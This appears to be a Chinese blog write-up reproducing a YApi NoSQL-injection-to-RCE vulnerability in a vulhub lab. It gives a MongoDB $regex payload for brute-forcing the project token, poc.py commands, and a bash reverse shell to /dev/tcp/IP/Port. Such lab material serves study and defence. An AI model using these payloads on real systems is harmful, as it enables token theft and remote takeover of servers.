MongoDB-inj

YApi NoSQL 注入导致远程命令执行漏洞

概述

YApi 是一个可本地部署的、打通前后端及 QA 的、可视化的 API 管理平台。

YApi 在 1.12.0 之前的版本中由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。攻击者可通过 MongoDB 注入获取用户 token,其中包括用户 ID、项目 ID 等参数。YApi 后台的 pre-requestpre-response 方法存在缺陷点,通过注入调用自动化测试接口 runAutoTest(),进而利用沙箱逃逸触发命令执行。

参考:https://mp.weixin.qq.com/s/eFD5FKyL9jA1l0_6jCDz_w

漏洞复现

靶场:vulhub/yapi/mongodb-inj

启动靶场以后,首先访问:http://192.168.2.243:3000/可以进入 YApi 首页。

访问接口:http://192.168.2.243:3000/api/interface/up

构造 POST 请求体,Content-Type 为 application/json,请求体为:

{"id": -1, "token": {"$regex": "^xxxxxxxxxxxxxxxxxxxx"}}

Token 一般是 20 位,若猜测的 Token 为正确的,则会返回 400,若是错误的,则会返回 40011。

image-20250810170725250

image-20250810170709390

一位一位爆破,即可获取到完整的 Token。

此处可以使用靶场提供的 POC 进行爆破,亦可用其他工具:

 python poc.py --debug one4all -u http://192.168.2.243:3000/   

最终爆破到 Token 为:1cae15606ea4b223b01a

随后借助该 Token 访问 :

/api/project/get/api/project/get/api/open/run_auto_test/api/project/up/api/open/run_auto_test 等接口,逐步获取 owner idproject_idcol_id 等相关信息。

借助这些信息,将 JavaScript(POC 动态生成)注入到 Target,从而绕过沙箱,执行命令。

image-20250810174404728

使用脚本获取到相应的信息,即可执行命令。

python poc.py rce -u http://192.168.2.243:3000/ -t 1cae15606ea4b223b01a -o 11 --pid 66 --cid 66 --command="bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1'"

使用 POC 执行该命令即可获取到 Shell。

image-20250810174804393

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇